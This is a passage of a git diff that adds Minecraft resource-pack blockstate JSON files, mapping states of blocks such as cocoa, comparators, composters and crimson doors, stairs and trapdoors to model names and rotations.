+ "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cobweb.json b/src/assets/minecraft/blockstates/cobweb.json new file mode 100644 index 00000000..30a165e4 --- /dev/null +++ b/src/assets/minecraft/blockstates/cobweb.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cobweb" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cocoa.json b/src/assets/minecraft/blockstates/cocoa.json new file mode 100644 index 00000000..d12aa4ec --- /dev/null +++ b/src/assets/minecraft/blockstates/cocoa.json @@ -0,0 +1,49 @@ +{ + "variants": { + "age=0,facing=east": { + "model": "minecraft:block/cocoa_stage0", + "y": 270 + }, + "age=0,facing=north": { + "model": "minecraft:block/cocoa_stage0", + "y": 180 + }, + "age=0,facing=south": { + "model": "minecraft:block/cocoa_stage0" + }, + "age=0,facing=west": { + "model": "minecraft:block/cocoa_stage0", + "y": 90 + }, + "age=1,facing=east": { + "model": "minecraft:block/cocoa_stage1", + "y": 270 + }, + "age=1,facing=north": { + "model": "minecraft:block/cocoa_stage1", + "y": 180 + }, + "age=1,facing=south": { + "model": "minecraft:block/cocoa_stage1" + }, + "age=1,facing=west": { + "model": "minecraft:block/cocoa_stage1", + "y": 90 + }, + "age=2,facing=east": { + "model": "minecraft:block/cocoa_stage2", + "y": 270 + }, + "age=2,facing=north": { + "model": "minecraft:block/cocoa_stage2", + "y": 180 + }, + "age=2,facing=south": { + "model": "minecraft:block/cocoa_stage2" + }, + "age=2,facing=west": { + "model": "minecraft:block/cocoa_stage2", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/command_block.json b/src/assets/minecraft/blockstates/command_block.json new file mode 100644 index 00000000..dbda5cf3 --- /dev/null +++ b/src/assets/minecraft/blockstates/command_block.json @@ -0,0 +1,50 @@ +{ + "variants": { + "conditional=false,facing=down": { + "model": "minecraft:block/command_block", + "x": 90 + }, + "conditional=false,facing=east": { + "model": "minecraft:block/command_block", + "y": 90 + }, + "conditional=false,facing=north": { + "model": "minecraft:block/command_block" + }, + "conditional=false,facing=south": { + "model": "minecraft:block/command_block", + "y": 180 + }, + "conditional=false,facing=up": { + "model": "minecraft:block/command_block", + "x": 270 + }, + "conditional=false,facing=west": { + "model": "minecraft:block/command_block", + "y": 270 + }, + "conditional=true,facing=down": { + "model": "minecraft:block/command_block_conditional", + "x": 90 + }, + "conditional=true,facing=east": { + "model": "minecraft:block/command_block_conditional", + "y": 90 + }, + "conditional=true,facing=north": { + "model": "minecraft:block/command_block_conditional" + }, + "conditional=true,facing=south": { + "model": "minecraft:block/command_block_conditional", + "y": 180 + }, + "conditional=true,facing=up": { + "model": "minecraft:block/command_block_conditional", + "x": 270 + }, + "conditional=true,facing=west": { + "model": "minecraft:block/command_block_conditional", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/comparator.json b/src/assets/minecraft/blockstates/comparator.json new file mode 100644 index 00000000..570f3bfd --- /dev/null +++ b/src/assets/minecraft/blockstates/comparator.json @@ -0,0 +1,64 @@ +{ + "variants": { + "facing=east,mode=compare,powered=false": { + "y": 270, + "model": "minecraft:block/comparator" + }, + "facing=east,mode=compare,powered=true": { + "y": 270, + "model": "minecraft:block/comparator_on" + }, + "facing=east,mode=subtract,powered=false": { + "y": 270, + "model": "minecraft:block/comparator_subtract" + }, + "facing=east,mode=subtract,powered=true": { + "y": 270, + "model": "minecraft:block/comparator_on_subtract" + }, + "facing=north,mode=compare,powered=false": { + "y": 180, + "model": "minecraft:block/comparator" + }, + "facing=north,mode=compare,powered=true": { + "y": 180, + "model": "minecraft:block/comparator_on" + }, + "facing=north,mode=subtract,powered=false": { + "y": 180, + "model": "minecraft:block/comparator_subtract" + }, + "facing=north,mode=subtract,powered=true": { + "y": 180, + "model": "minecraft:block/comparator_on_subtract" + }, + "facing=south,mode=compare,powered=false": { + "model": "minecraft:block/comparator" + }, + "facing=south,mode=compare,powered=true": { + "model": "minecraft:block/comparator_on" + }, + "facing=south,mode=subtract,powered=false": { + "model": "minecraft:block/comparator_subtract" + }, + "facing=south,mode=subtract,powered=true": { + "model": "minecraft:block/comparator_on_subtract" + }, + "facing=west,mode=compare,powered=false": { + "y": 90, + "model": "minecraft:block/comparator" + }, + "facing=west,mode=compare,powered=true": { + "y": 90, + "model": "minecraft:block/comparator_on" + }, + "facing=west,mode=subtract,powered=false": { + "y": 90, + "model": "minecraft:block/comparator_subtract" + }, + "facing=west,mode=subtract,powered=true": { + "y": 90, + "model": "minecraft:block/comparator_on_subtract" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/composter.json b/src/assets/minecraft/blockstates/composter.json new file mode 100644 index 00000000..70893d08 --- /dev/null +++ b/src/assets/minecraft/blockstates/composter.json @@ -0,0 +1,73 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/composter" + } + }, + { + "when": { + "level": "1" + }, + "apply": { + "model": "minecraft:block/composter_contents1" + } + }, + { + "when": { + "level": "2" + }, + "apply": { + "model": "minecraft:block/composter_contents2" + } + }, + { + "when": { + "level": "3" + }, + "apply": { + "model": "minecraft:block/composter_contents3" + } + }, + { + "when": { + "level": "4" + }, + "apply": { + "model": "minecraft:block/composter_contents4" + } + }, + { + "when": { + "level": "5" + }, + "apply": { + "model": "minecraft:block/composter_contents5" + } + }, + { + "when": { + "level": "6" + }, + "apply": { + "model": "minecraft:block/composter_contents6" + } + }, + { + "when": { + "level": "7" + }, + "apply": { + "model": "minecraft:block/composter_contents7" + } + }, + { + "when": { + "level": "8" + }, + "apply": { + "model": "minecraft:block/composter_contents_ready" + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/conduit.json b/src/assets/minecraft/blockstates/conduit.json new file mode 100644 index 00000000..f6841bed --- /dev/null +++ b/src/assets/minecraft/blockstates/conduit.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/conduit" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cornflower.json b/src/assets/minecraft/blockstates/cornflower.json new file mode 100644 index 00000000..2d787937 --- /dev/null +++ b/src/assets/minecraft/blockstates/cornflower.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cornflower" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cracked_nether_bricks.json b/src/assets/minecraft/blockstates/cracked_nether_bricks.json new file mode 100644 index 00000000..42f44bba --- /dev/null +++ b/src/assets/minecraft/blockstates/cracked_nether_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cracked_nether_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cracked_polished_blackstone_bricks.json b/src/assets/minecraft/blockstates/cracked_polished_blackstone_bricks.json new file mode 100644 index 00000000..2fe33ddc --- /dev/null +++ b/src/assets/minecraft/blockstates/cracked_polished_blackstone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cracked_polished_blackstone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cracked_stone_bricks.json b/src/assets/minecraft/blockstates/cracked_stone_bricks.json new file mode 100644 index 00000000..6e194be2 --- /dev/null +++ b/src/assets/minecraft/blockstates/cracked_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cracked_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crafting_table.json b/src/assets/minecraft/blockstates/crafting_table.json new file mode 100644 index 00000000..46adc790 --- /dev/null +++ b/src/assets/minecraft/blockstates/crafting_table.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crafting_table" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/creeper_head.json b/src/assets/minecraft/blockstates/creeper_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/creeper_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/creeper_wall_head.json b/src/assets/minecraft/blockstates/creeper_wall_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/creeper_wall_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_button.json b/src/assets/minecraft/blockstates/crimson_button.json new file mode 100644 index 00000000..25a57e9b --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/crimson_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/crimson_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/crimson_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/crimson_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/crimson_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/crimson_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_door.json b/src/assets/minecraft/blockstates/crimson_door.json new file mode 100644 index 00000000..41617c73 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/crimson_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/crimson_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/crimson_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/crimson_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_fence.json b/src/assets/minecraft/blockstates/crimson_fence.json new file mode 100644 index 00000000..d36a041b --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/crimson_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/crimson_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/crimson_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/crimson_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/crimson_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_fence_gate.json b/src/assets/minecraft/blockstates/crimson_fence_gate.json new file mode 100644 index 00000000..37232646 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/crimson_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/crimson_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/crimson_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/crimson_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/crimson_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/crimson_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/crimson_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/crimson_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/crimson_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/crimson_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/crimson_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/crimson_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/crimson_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/crimson_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/crimson_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/crimson_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_fungus.json b/src/assets/minecraft/blockstates/crimson_fungus.json new file mode 100644 index 00000000..4ee39fd2 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_fungus.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crimson_fungus" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_hyphae.json b/src/assets/minecraft/blockstates/crimson_hyphae.json new file mode 100644 index 00000000..115ed635 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_hyphae.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/crimson_hyphae", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/crimson_hyphae" + }, + "axis=z": { + "model": "minecraft:block/crimson_hyphae", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_nylium.json b/src/assets/minecraft/blockstates/crimson_nylium.json new file mode 100644 index 00000000..e3ecaf60 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_nylium.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crimson_nylium" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_planks.json b/src/assets/minecraft/blockstates/crimson_planks.json new file mode 100644 index 00000000..9cd4ff65 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crimson_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_pressure_plate.json b/src/assets/minecraft/blockstates/crimson_pressure_plate.json new file mode 100644 index 00000000..7e7ab3d6 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/crimson_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/crimson_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_roots.json b/src/assets/minecraft/blockstates/crimson_roots.json new file mode 100644 index 00000000..830d559a --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_roots.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crimson_roots" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_sign.json b/src/assets/minecraft/blockstates/crimson_sign.json new file mode 100644 index 00000000..c2f40c97 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/crimson_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_slab.json b/src/assets/minecraft/blockstates/crimson_slab.json new file mode 100644 index 00000000..7f8f651d --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/crimson_slab" + }, + "type=double": { + "model": "minecraft:block/crimson_planks" + }, + "type=top": { + "model": "minecraft:block/crimson_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_stairs.json b/src/assets/minecraft/blockstates/crimson_stairs.json new file mode 100644 index 00000000..5b59f487 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/crimson_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/crimson_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/crimson_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/crimson_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_stem.json b/src/assets/minecraft/blockstates/crimson_stem.json new file mode 100644 index 00000000..81285b0c --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_stem.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/crimson_stem", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/crimson_stem" + }, + "axis=z": { + "model": "minecraft:block/crimson_stem", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_trapdoor.json b/src/assets/minecraft/blockstates/crimson_trapdoor.json new file mode 100644 index 00000000..a3be29c0 --- /dev/null +++ b/src/assets/minecraft/blockstates/crimson_trapdoor.json @@ -0,0 +1,69 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/crimson_trapdoor_bottom", + "y": 90 + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/crimson_trapdoor_top", + "y": 90 + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "x": 180, + "y": 270 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/crimson_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/crimson_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/crimson_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "x": 180, + "y": 180 + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/crimson_trapdoor_bottom", + "y": 180 + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/crimson_trapdoor_top", + "y": 180 + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "x": 180, + "y": 0 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/crimson_trapdoor_bottom", + "y": 270 + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/crimson_trapdoor_top", + "y": 270 + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/crimson_trapdoor_open", + "x": 180, + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/crimson_wall_sign.json b/src/assets/minecraft/blockstates/crimson_wall_sign.json new file mode 100644 index 